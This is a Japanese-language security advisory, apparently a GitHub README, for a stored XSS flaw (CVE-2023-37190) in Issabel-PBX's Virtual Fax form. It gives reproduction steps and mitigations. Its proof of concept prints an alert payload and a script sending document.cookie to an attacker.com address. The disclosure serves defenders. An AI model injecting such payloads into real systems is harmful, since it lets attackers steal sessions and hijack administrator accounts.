CVE-2023-37190 — Issabel-PBX 4.0.0-6: 保存型クロスサイトスクリプティング (XSS)

📋 概要

📝 説明

Issabel-PBX バージョン 4.0.0-6 には、保存型クロスサイトスクリプティング (XSS) の脆弱性が存在します。このアプリケーションは、ユーザーが入力したデータをデータベースに保存し、その後Webインターフェースに描画する前に、適切にサニタイズおよびエンコードしません。

この脆弱性は Virtual Fax モジュール、具体的には 「New Virtual Fax」 作成フォームに存在します。Virtual Fax Name と Caller ID Name の2つの入力パラメータは、適切な入力検証や出力エンコードが行われません。これにより、低権限の認証済み攻撃者が悪意のあるJavaScriptペイロードをアプリケーション内に注入し、永続的に保存することが可能になります。

一度保存されると、悪意のあるスクリプトは、影響を受けるページを訪れたすべてのユーザー（管理者を含む）のブラウザで自動的に実行されます。攻撃者による追加の操作は必要ありません。

⚠️ 影響

この脆弱性の悪用に成功した攻撃者は、以下のことが可能になります:

• セッションクッキーを窃取し、管理者アカウントを含む認証済みユーザーセッションを乗っ取る。
• 被害者に代わって操作を実行する（設定変更、ユーザー追加、システム設定の変更など）。
• ユーザーを攻撃者が管理するフィッシングサイトやマルウェア配布ページにリダイレクトする。
• アプリケーションのインターフェースを改ざんし、ユーザーエクスペリエンスと信頼に影響を与える。
• 影響を受けるページにアクセスするすべてのユーザーにマルウェアやブラウザエクスプロイトを配信する。
• キーロギングを実行したり、ページ上で入力された機密情報を取得したりする。

ペイロードは保存型（永続的）であるため、削除されるまで脆弱性のあるページを訪れるすべてのユーザーに影響を与えます。これにより、反射型XSSよりも深刻なものとなっています。

🔢 CVSS v3.1 スコア

🔍 脆弱性の詳細

• 脆弱性タイプ: 保存型クロスサイトスクリプティング (CWE-79)
• 影響を受けるコンポーネント: Virtual Fax モジュール → New Virtual Fax フォーム
• 脆弱性のあるパラメータ:
  • Virtual Fax Name
  • Caller ID Name
• 認証の必要性: あり（低権限の認証済みユーザー）
• 根本原因: 影響を受けるパラメータについて、データベースへの保存およびWeb UIでの描画前に、入力のサニタイズと出力エンコードが欠如していること。

🛠️ 再現手順

前提条件

• 稼働中の Issabel-PBX バージョン 4.0.0-6 のインスタンス。
• Fax モジュールにアクセスできるアカウントの有効な認証情報（標準ユーザーまたは管理者）。

再現手順

ステップ 1: 有効な認証情報を使用して Issabel-PBX Web アプリケーションにログインします。

ステップ 2: Fax → Virtual Fax → New Virtual Fax に移動します。

以下のXSSペイロードを Virtual Fax Name および/または Caller ID Name フィールドに注入します:

<script>alert('XSS-CVE-2023-37190')</script>

セッションクッキーの窃取を示す、より影響の大きい概念実証は以下の通りです（注: 実際の攻撃では、盗まれたクッキーが転送中に露出しないよう HTTPS が使用されます）:

<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

ペイロードが注入された入力済みフォームは、下のスクリーンショットのようになります:

ステップ 3: Save ボタンをクリックしてフォームを送信します。ペイロードはアプリケーションのデータベースに永続的に保存されます。

ステップ 4: Virtual Fax 一覧ページに移動します（または、管理者などの別のユーザーにページを訪問させます）。保存されたスクリプトは、訪問者のブラウザで自動的に実行されます。以下に示すとおりです:

🩹 軽減策と是正措置

Issabel-PBX のユーザーと管理者は、以下の対策を適用することを強く推奨します:

1. 入力検証: ユーザーが提供するすべての入力に対して、厳格なサーバーサイド検証を実施します。HTML特殊文字 (<, >, ", ', &) を含む入力は拒否またはサニタイズします。
2. 出力エンコード: Web インターフェースでユーザー提供データを描画する際に、コンテキストに応じた出力エンコード（HTMLエンティティエンコード）を適用して、スクリプトの実行を防ぎます。
3. コンテンツセキュリティポリシー (CSP): スクリプトを実行できるソースを制限する厳格な Content-Security-Policy HTTP ヘッダーを実装し、XSS 脆弱性の影響を軽減します。
4. アップグレード / パッチ: 公式の Issabel リポジトリ を監視し、ベンダーが公開したセキュリティパッチを適用します。
5. 最小権限: Virtual Fax などの機密性の高いモジュールへのアクセスを、必要とするユーザーのみに制限し、攻撃対象領域を限定します。

📚 参考情報

• NVD - CVE-2023-37190
• MITRE CVE エントリ
• Issabel 公式ウェブサイト
• GitHub の IssabelFoundation/issabelPBX
• CWE-79: ウェブページ生成における入力の不適切な無害化（'クロスサイトスクリプティング'）
• OWASP: Cross-Site Scripting (XSS)

👤 著者

Sahil Ojha
セキュリティリサーチャー
GitHub: @sahiloj

免責事項: このリポジトリは、教育および責任ある開示の目的のみで提供されています。ここに記載された情報は、システム所有者の明示的な書面による許可なしにシステムを攻撃するために使用すべきではありません。著者は、この情報の誤用について一切の責任を負いません。